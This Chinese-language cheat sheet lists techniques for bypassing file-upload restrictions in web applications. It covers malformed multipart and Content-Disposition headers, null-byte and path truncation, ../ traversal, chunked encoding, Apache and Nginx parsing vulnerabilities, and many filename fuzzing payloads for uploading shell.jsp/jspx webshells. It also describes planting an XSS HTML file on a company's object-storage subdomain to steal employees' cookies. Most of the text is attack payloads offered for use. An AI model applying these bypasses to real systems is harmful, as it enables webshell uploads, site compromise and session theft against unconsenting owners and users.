1、换行
2、多个等于号
3、单双引号替换
4、去掉引号
5、溢出Content-Disposition字段
6、多个Content-Disposition字段
7、畸形协议
8、boundary前加减空格
9、删除Content-Type: image/jpeg
10、溢出文件名
11、Accept-Encoding:
Accept-Encoding设置在请求头当中,会告诉服务器,我可以接受哪种编码压缩。
Content-Encoding设置在响应头中,会告诉客户端,我用的是哪种编码压缩。但是也可以放在Header头上
Accept-Encoding: gzip
Accept-Encoding: compress
Accept-Encoding: deflate
Accept-Encoding: br
Accept-Encoding: identity
Accept-Encoding: *
12、分块传输
13、windows文件命名规范来绕过
众所周知,win的文件名是不能包含以下字符的
但是上传的时候我们可以构造,尝试使用(正反)斜杠、星号、冒号(冒号会将文件内容置空)
、问号、|、<>绕过
14、三个左尖括号可以写入文件
四个也可以
15、尖括号代替点
16、…/进行跨目录上传
Get:在上传路劲处../upload/1.php%00
Post:对../upload/1.php后进行16进制hex修改为00
17、非路径截断
1.php;jpg
1.php%00.jpg
1.php/00.jpg
18、测试是否存在多个上传接口(删除或增加)
OSS
这些,遇到这类接口,可以尝试更改OSS
为file,test
,或者删除oss
,只留upload
做尝试,同理也可对三级目录进行z
首先借用阿里云oss首页的介绍性文字来解释下oss是什么:
海量、安全、低成本、高可靠的云存储服务,提供99.99999999%的数据可靠性。
使用RESTful API 可以在互联网任何位置存储和访问,容量和处理能力弹性扩展,多种存储类型供选择全面优化存储成本。简单可以理解为企业自身的文件存储服务器。
问题出在站点的上传功能,存在任意文件上传,但因为上传到的是oss或文件存储服务器,所以不论是什么类型的脚本都是不解析的,访问会直接下载回来,
那作为开发者会高枕无忧了吗?然并卵,我还可以上传一个内容存在xss payload的hack.html的文件,服务器便会静态文件进行解析;
重点来了,可能企业在使用oss服务时,使用的域名是img-oss.yourcompanydomain.com,而在你公司的sso或产品为了跨域在开发时set-cookie:*.yourcompanydomain.com,
那攻击者就可以拿着img-oss.yourcompanydomain.com/hack.html找对应的场景或发给公司的员工,打开后cookie可能就被“借”走了
总结两点:
1、任意文件上传;
2、站点可以跨域
19、更改字段内容
20、中间件漏洞绕过
Apache HTTPD 换行解析漏洞(CVE-2017-15715) 2.4.0~2.4.29版本 【windows系统不行】
Apache HTTPD 多后缀解析漏洞
Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7 文件名逻辑漏洞(CVE-2013-4547)
Nginx 解析漏洞 (1.jpg/.php)
21、换行+Transfer-Encoding: chunked
22、遇到base64上传,修改:data:image/jpeg;
如:application/x-php
image%2Fjpg”改成"image%2Fphp
23、filename改造、name改造(和filename差不多)
名字特殊符号替换以及构造异常闭合
filename='shell.jspx.jsp'
filename=shell.jspx.jsp
filename=shell.jspx.jsp'
"filename"=shell.jspx;
重写
filename=shell.jpg;filename=shell.jspx;
filename=shell.jspx;filename=shell.jpg;
大小写变化
FileName=shell.jspx.jsp'
参数污染
FileName=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaashell.jspx.jsp'
FileName =shell.jspx(加空格)
filename===="shell.jspx.jsp1"(加等号)
FileName =shell.jspx(前后加空格,中间也可以加特殊符号fuzz)
文件名字编码(filename一般为后端接收参数,编码了可能识别不到,这个就看情况)
filename=\u0073\u0068\u0065\u006c\u006c\u002e\u006a\u0073\u0070
回车换行(有时候确实挺好用的,任意位置都可以试一下)
FileName=shell.jspx.
jsp
File
Name=shell.jspx.jsp'